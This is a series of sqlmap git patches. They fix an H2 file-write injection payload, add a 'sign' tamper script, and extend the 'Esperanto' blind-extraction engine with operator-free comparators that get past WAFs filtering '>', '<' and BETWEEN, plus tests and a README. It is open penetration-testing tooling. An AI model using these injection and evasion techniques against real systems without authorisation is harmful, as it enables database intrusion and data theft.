a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -157,7 +157,7 @@ def stackedReadFile(self, remoteFile): indexRange = getLimitRange(count) for index in indexRange: - chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) + chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE id NOT IN (SELECT TOP %d id FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, index, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) From a7c63afdd8849b6b0c6ce287bdfcf02be2e0e6a3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 12:34:18 +0200 Subject: [PATCH 823/853] Fixing H2 file write --- lib/core/settings.py | 2 +- plugins/dbms/h2/filesystem.py | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 004f961de33..b62afba26a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.166" +VERSION = "1.10.7.167" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index c82ba858eab..e29f2fe8dfe 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -6,7 +6,7 @@ """ from lib.core.common import checkFile -from lib.core.convert import getText +from lib.core.convert import encodeHex from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE @@ -34,14 +34,15 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): self.checkDbmsOs() with open(localFile, "rb") as f: - content = getText(f.read()) + content = f.read() infoMsg = "writing the file content to '%s'" % remoteFile logger.info(infoMsg) # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no - # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed - # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal) - inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # stacked queries. Content is passed as a binary hex literal (X'..') so arbitrary/binary bytes survive + # byte-for-byte - the old STRINGTOUTF8() of a getText()-decoded string mangled any non-UTF-8 content, + # and H2 has no string->binary decoder (HEXTORAW/base64/UNHEX absent); cf. MySQL's 0x literal + inject.getValue("CAST(FILE_WRITE(X'%s','%s') AS INT)" % (encodeHex(content, binary=False), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) From 0cf4c641a1c3d3657a0fb97d49eb01b881f482da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 13:16:40 +0200 Subject: [PATCH 824/853] Adding auto-between on > filtering --- lib/controller/checks.py | 31 +++++++++++++++++++++++++++---- lib/core/settings.py | 2 +- 2 files changed, 28 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f7c9d5e31e1..473e5719b5c 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1061,10 +1061,33 @@ def checkFilteredChars(injection): # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): - warnMsg = "it appears that the character '>' is " - warnMsg += "filtered by the back-end server. You are strongly " - warnMsg += "advised to rerun with the '--tamper=between'" - logger.warning(warnMsg) + # '>' is filtered - blind inference bisection (e.g. ASCII(...)>N) would silently + # retrieve nothing. Auto-apply the 'between' tamper (> -> NOT BETWEEN 0 AND, SQL + # standard, all DBMS) and re-verify, so the run adapts in place instead of forcing a + # manual rerun. Skipped when the user chose their own '--tamper' (respect that choice). + adapted = False + + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + function = loadTamper("between") + + if function is not None and function not in (kb.tamperFunctions or []): + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + _ = randomInt() + + if checkBooleanExpression("%d>%d" % (_ + 1, _)): + adapted = True + infoMsg = "the character '>' appears to be filtered by the back-end " + infoMsg += "server; sqlmap automatically applied the 'between' tamper script to adapt" + logger.info(infoMsg) + else: + kb.tamperFunctions.remove(function) + + if not adapted: + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warning(warnMsg) kb.injection = popValue() diff --git a/lib/core/settings.py b/lib/core/settings.py index b62afba26a3..d042eda9063 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.167" +VERSION = "1.10.7.168" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9925adf7997927c1d21382c5a2169427b6f8efc7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 13:33:53 +0200 Subject: [PATCH 825/853] Adding tamper script sign --- lib/controller/checks.py | 31 ++++++++++++++++---------- lib/core/settings.py | 2 +- tamper/sign.py | 47 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 67 insertions(+), 13 deletions(-) create mode 100644 tamper/sign.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 473e5719b5c..533a157c6cc 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1061,29 +1061,36 @@ def checkFilteredChars(injection): # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): - # '>' is filtered - blind inference bisection (e.g. ASCII(...)>N) would silently - # retrieve nothing. Auto-apply the 'between' tamper (> -> NOT BETWEEN 0 AND, SQL - # standard, all DBMS) and re-verify, so the run adapts in place instead of forcing a - # manual rerun. Skipped when the user chose their own '--tamper' (respect that choice). - adapted = False + # '>' is filtered - blind inference (bisection and the count/length integer retrievals + # all rely on '>') would silently retrieve nothing. Cascade through the '>'-free + # comparison rewrites and adopt the first that RE-VERIFIES working, so the run adapts in + # place instead of forcing a manual rerun: 'between' (> -> NOT BETWEEN 0 AND) first, + # then 'greatest' (GREATEST()-based) for when BETWEEN itself is filtered. Skipped when the + # user chose their own '--tamper' (respect that choice). + adapted = None if not conf.tamper: from lib.utils.wafbypass import loadTamper - function = loadTamper("between") - if function is not None and function not in (kb.tamperFunctions or []): + for name in ("between", "greatest", "sign"): + function = loadTamper(name) + if function is None or function in (kb.tamperFunctions or []): + continue + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] _ = randomInt() if checkBooleanExpression("%d>%d" % (_ + 1, _)): - adapted = True - infoMsg = "the character '>' appears to be filtered by the back-end " - infoMsg += "server; sqlmap automatically applied the 'between' tamper script to adapt" - logger.info(infoMsg) + adapted = name + break else: kb.tamperFunctions.remove(function) - if not adapted: + if adapted: + infoMsg = "the character '>' appears to be filtered by the back-end server; " + infoMsg += "sqlmap automatically applied the '%s' tamper script to adapt" % adapted + logger.info(infoMsg) + else: warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "advised to rerun with the '--tamper=between'" diff --git a/lib/core/settings.py b/lib/core/settings.py index d042eda9063..0601a616473 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.168" +VERSION = "1.10.7.169" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/sign.py b/tamper/sign.py new file mode 100644 index 00000000000..ff15c5c8e1a --- /dev/null +++ b/tamper/sign.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'SIGN' counterpart (e.g. SIGN((A)-(B))=1) + + Tested against: + * MySQL 5 + * Oracle 11g + * PostgreSQL 9 + * Microsoft SQL Server 2012 + + Notes: + * Useful to bypass filtering of comparison operators altogether (>, <, + >=, <=), as SIGN() needs none of them - only subtraction and '='. + sqlmap's blind inference always compares a numeric ordinal against an + integer literal, so SIGN((A)-(B))=1 is an exact equivalent of A>B + there (no NULL/decimal/date/collation/overflow concerns in that domain) + + >>> tamper('1 AND A > B') + '1 AND SIGN((A)-(B))=1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^><]+?)\s*(?!])>(?!=)\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sSIGN((%s)-(%s))=1" % (match.group(1), match.group(3), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal From e8512c8c132d4fc1a42e3abaf52e05c53233594d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 13:53:45 +0200 Subject: [PATCH 826/853] Expanding Esperanto engine with SIGN --- extra/esperanto/discovery.py | 5 +++++ extra/esperanto/extraction.py | 2 ++ lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py index 9b5a24b9e90..cf4c9b5ae5b 100644 --- a/extra/esperanto/discovery.py +++ b/extra/esperanto/discovery.py @@ -429,6 +429,11 @@ def _discoverComparator(self): elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): self._comparator = "between" self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") + elif self._ask("SIGN(2-1)=1") and not self._ask("SIGN(2-3)=1") and not self._ask("SIGN(2-2)=1"): + # ordered, log2-efficient, yet needs NO comparison operator (only SIGN(), '-', '=') - + # survives a WAF stripping '>' AND '<' AND BETWEEN, without dropping to slow membership + self._comparator = "sign" + self.dialect.notes.append("'>'/BETWEEN unusable; bisecting via SIGN() (no comparison operator)") else: self._comparator = "membership" self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index e3b01656b36..8c72952cd2b 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -133,6 +133,8 @@ def _gtNum(self, expr, n, high): # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. if self._comparator == "between": return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) + if self._comparator == "sign": + return self._ask("SIGN((%s)-(%d))=1" % (expr, n)) return self._ask("%s>%d" % (expr, n)) def _numDefined(self, expr): diff --git a/lib/core/settings.py b/lib/core/settings.py index 0601a616473..e03187eb7c4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.169" +VERSION = "1.10.7.170" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 016c388a13b6846065e068970f083832ac085d68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 14:04:30 +0200 Subject: [PATCH 827/853] Expanding Esperanto engine with more log2 comparators --- extra/esperanto/discovery.py | 29 ++++++++++++++++++++++++----- extra/esperanto/engine.py | 3 ++- extra/esperanto/extraction.py | 4 ++-- lib/core/settings.py | 2 +- 4 files changed, 29 insertions(+), 9 deletions(-) diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py index cf4c9b5ae5b..ab1bd4e5487 100644 --- a/extra/esperanto/discovery.py +++ b/extra/esperanto/discovery.py @@ -429,11 +429,9 @@ def _discoverComparator(self): elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): self._comparator = "between" self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") - elif self._ask("SIGN(2-1)=1") and not self._ask("SIGN(2-3)=1") and not self._ask("SIGN(2-2)=1"): - # ordered, log2-efficient, yet needs NO comparison operator (only SIGN(), '-', '=') - - # survives a WAF stripping '>' AND '<' AND BETWEEN, without dropping to slow membership - self._comparator = "sign" - self.dialect.notes.append("'>'/BETWEEN unusable; bisecting via SIGN() (no comparison operator)") + elif self._discoverOperatorFreeComparator(): + # picked an ordered (log2) comparator that needs NO comparison operator - see below + pass else: self._comparator = "membership" self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") @@ -441,6 +439,27 @@ def _discoverComparator(self): except OracleUndecided: pass # keep the safe defaults (gt / IN-ok) + def _discoverOperatorFreeComparator(self): + # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN): + # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the + # comparison operators instead of dropping to slow order-free membership. Ordered universal- + # first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use. + candidates = ( + ("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS + ("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered + ("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once) + ("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering + ("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle + ("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB + ) + for name, tmpl in candidates: + if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)): + self._comparator = name + self._cmpTemplate = tmpl + self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper()) + return True + return False + def _charcodeSemantics(self, tmpl): # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. # code(char(N))==N means extract-then-rebuild is faithful for N. no raw diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py index d5ea7be15f5..bb92cb84be4 100644 --- a/extra/esperanto/engine.py +++ b/extra/esperanto/engine.py @@ -45,7 +45,8 @@ def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, self._hexOrdered = None self._backslashEscape = None self._codeTmpl = None - self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership" + self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership" + self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n} self._inOk = True # IN(...) usable (order-free subset bisection) self._lastTruncated = False self._discovered = False diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index 8c72952cd2b..faa754f6564 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -133,8 +133,8 @@ def _gtNum(self, expr, n, high): # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. if self._comparator == "between": return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) - if self._comparator == "sign": - return self._ask("SIGN((%s)-(%d))=1" % (expr, n)) + if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...) + return self._ask(self._cmpTemplate.format(expr=expr, n=n)) return self._ask("%s>%d" % (expr, n)) def _numDefined(self, expr): diff --git a/lib/core/settings.py b/lib/core/settings.py index e03187eb7c4..8d669818ab4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.170" +VERSION = "1.10.7.171" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bdf1901a4394b7e588ddbabc85a71bd8e7af3529 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 15:00:09 +0200 Subject: [PATCH 828/853] Minor update --- extra/esperanto/extraction.py | 2 +- lib/core/settings.py | 2 +- tests/test_esperanto.py | 17 ++++++++++------- 3 files changed, 12 insertions(+), 9 deletions(-) diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index faa754f6564..4338d3778ed 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -288,7 +288,7 @@ def _readChar(self, expr, pos, codes=None): if mode == "code": code = self.dialect.charcode[1].format(expr=one) - ordered = self._comparator in ("gt", "between") + ordered = self._comparator != "membership" # gt/between OR an operator-free rung (all bisect via _gtNum) if codes is not None: # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII # set. no per-char verify - ASCII codes are unambiguous across charcode diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d669818ab4..e2753a9ebf8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.171" +VERSION = "1.10.7.172" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py index fcb797ccfe8..965ff6269c2 100644 --- a/tests/test_esperanto.py +++ b/tests/test_esperanto.py @@ -539,19 +539,22 @@ def test_disguise_gt_blocked_falls_to_between(self): self.assertEqual(esp.extract(_SECRET_EXPR), "admin") self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # BETWEEN keyset pages all - def test_disguise_gt_and_between_blocked_use_in(self): - # '<'/'>' AND BETWEEN gone: order-free IN() subset bisection for the chars and - # NOT IN() paging for the rows - needs only '=' membership + def test_disguise_gt_and_between_blocked_use_operator_free(self): + # '<'/'>' AND BETWEEN gone: rather than drop to slow order-free membership, the ladder + # finds an ORDERED operator-free rung (SIGN((e)-(n))=1 etc.) that needs no comparison + # operator - keeping efficient log2 bisection alive. esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN")) esp.discover() - self.assertEqual(esp._comparator, "membership") + self.assertEqual(esp._comparator, "sign") self.assertEqual(esp.extract(_SECRET_EXPR), "admin") - self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # NOT IN() pages all + self.assertEqual(len((esp.dump("users") or {}).get("rows") or []), 3) # ordered rung still pages all def test_disguise_no_ordering_no_in_still_extracts(self): - # the hard floor: no '<'/'>', no BETWEEN, no IN - only '=' equality. Values + # the hard floor: no '<'/'>', no BETWEEN, no IN, and no operator-free ordered rung + # (SIGN/ABS/LEAST/GREATEST/NULLIF/WIDTH_BUCKET/INTERVAL) - only '=' equality. Values # still extract (linear scan); multi-row dump honestly degrades (can't page) - esp = Esperanto(_disguisedOracle(blocked=r">|<|BETWEEN|\bIN\s*\(")) + esp = Esperanto(_disguisedOracle( + blocked=r">|<|BETWEEN|\bIN\s*\(|SIGN\(|ABS\(|LEAST\(|GREATEST\(|NULLIF\(|WIDTH_BUCKET\(|INTERVAL\(")) esp.discover() self.assertEqual(esp.extract(_SECRET_EXPR), "admin") rows = (esp.dump("users") or {}).get("rows") From a5a7f7203a09a64d0a5601cf7e5811ada59d3518 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 22 Jul 2026 01:06:57 +0200 Subject: [PATCH 829/853] Tons of improvements for Esperanto engine --- extra/esperanto/README.md | 148 ++++++++++++ extra/esperanto/__init__.py | 4 +- extra/esperanto/__main__.py | 184 ++++++++++++-- extra/esperanto/atlas.py | 85 ++++++- extra/esperanto/discovery.py | 140 +++++++++-- extra/esperanto/engine.py | 181 ++++++++++---- extra/esperanto/enumeration.py | 425 ++++++++++++++++++++++++++------ extra/esperanto/extraction.py | 372 ++++++++++++++++++---------- extra/esperanto/handler.py | 80 +++++- extra/esperanto/oracle.py | 23 +- extra/esperanto/records.py | 109 ++++++++- lib/core/settings.py | 2 +- tests/test_esperanto.py | 430 ++++++++++++++++++++++++++++++++- 13 files changed, 1861 insertions(+), 322 deletions(-) create mode 100644 extra/esperanto/README.md diff --git a/extra/esperanto/README.md b/extra/esperanto/README.md new file mode 100644 index 00000000000..a66e387f54b --- /dev/null +++ b/extra/esperanto/README.md @@ -0,0 +1,148 @@ +# Esperanto + +A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by +nothing but a boolean oracle. + +## What this is + +Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the +DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be +identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike +its parent - that pipeline dead-ends. + +Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable +`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the +target - it discovers the dialect from scratch (string concatenation, substring / length / +character-code functions, the usable comparison operator, the catalog surface) and then extracts +data character-by-character, without ever being told which DBMS is on the other end. + +The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all +supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge +as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap +imports) and runs unmodified on Python 2.7 and Python 3. + +## Usage + +Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual, +then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request / +comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against +an unidentified back-end: + +``` +python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users +``` + +Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`): + +``` +python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users +python run.py -u 'http://host/vuln?id=1*' --string --dump -T users -C uname,pass +python run.py --self-test +``` + +The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end +of the URL. The true/false oracle is taken from `--string` / `--not-string` / `--code`, or +auto-calibrated from the response when none is given. + +## How it works + +Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and +keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that +filters - one form falls through to the next rather than failing: + +| Primitive | Ladder (first that works wins) | +|------------------|--------------------------------| +| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` | +| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition | +| Length | a length function, else derived from the substring's end | +| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan | +| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` | +| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching | + +Each candidate is accepted only against a semantic check (for example, the comparison ladder is +validated across a signed truth table, not two positive samples), so a rewriting layer that turns +`>` into `>=` is rejected rather than silently mis-reading every count and length. + +Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and +version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset +(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a +discovered primary/unique key, else a physical row-id, else the row's own value. + +## Interface + +```python +from extra.esperanto import Esperanto + +esp = Esperanto(oracle) # oracle(condition_str) -> bool +esp.discover() # ladder out the dialect +esp.identify() # best-guess product + evidence +esp.extract("(SELECT ...)") # one scalar, char-by-char +esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by} +esp.enumerate("table") # keyset catalog walk +``` + +- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a + transport or observation failure must raise (or return a non-boolean), which the engine treats as + *undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be + reported as `False` by the oracle itself. +- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's + enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the + package stays dependency-free. +- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*` + methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only + a strategy plus an oracle. + +## Integrity model + +Every recovered value carries an `Integrity` classification so a caller can tell "we visited every +position" apart from "the bytes are provably the source's": + +| State | Meaning | +|-----------------------|---------| +| `EXACT` | proven byte-identical to the source (or a proven `NULL`) | +| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) | +| `TRUNCATED` | a bounded prefix; the source continues | +| `UNRESOLVED` | a character could not be recovered | +| `FAILED` | could not observe or verify | + +The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe, +never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports +a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values +are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value. + +## Scope and limitations + +This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for +sqlmap's native retrieval. Known boundaries: + +- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the + information theory of a boolean oracle (about one bit per request) and by network latency. It is + built for reach, not speed. +- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully + separated, backend-aware qualification (for example SQL Server `database.schema.table` via a + `sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort. +- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a + codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too), + resolving the common cases definitively. A column whose character set differs from the database + default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather + than asserted. +- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character + comparison modes under an ordered comparator; they do not yet drive the pattern-only or + membership-only modes, and the frozen field set does not yet carry every discovered semantic. + +Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting +it as trustworthy. + +## Self-test + +``` +python run.py --self-test +``` + +runs the engine against an in-memory SQLite oracle across every compare mode plus identification, +byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen +strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py index cc2cb9e39fb..45e5fa09e06 100644 --- a/extra/esperanto/__init__.py +++ b/extra/esperanto/__init__.py @@ -22,7 +22,7 @@ from .engine import Esperanto from .engine import hostExtract from .handler import buildHandler -from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy +from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity from .records import OracleUndecided, QueryBudgetExceeded -__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "OracleUndecided", "QueryBudgetExceeded"] +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded"] diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py index 8f9577e85a1..ea6f116d535 100644 --- a/extra/esperanto/__main__.py +++ b/extra/esperanto/__main__.py @@ -10,6 +10,10 @@ from .records import ( OracleUndecided, ExtractResult, QueryBudgetExceeded) +# ratio-mode confidence margin: if the true/false similarity scores are within this of each +# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing. 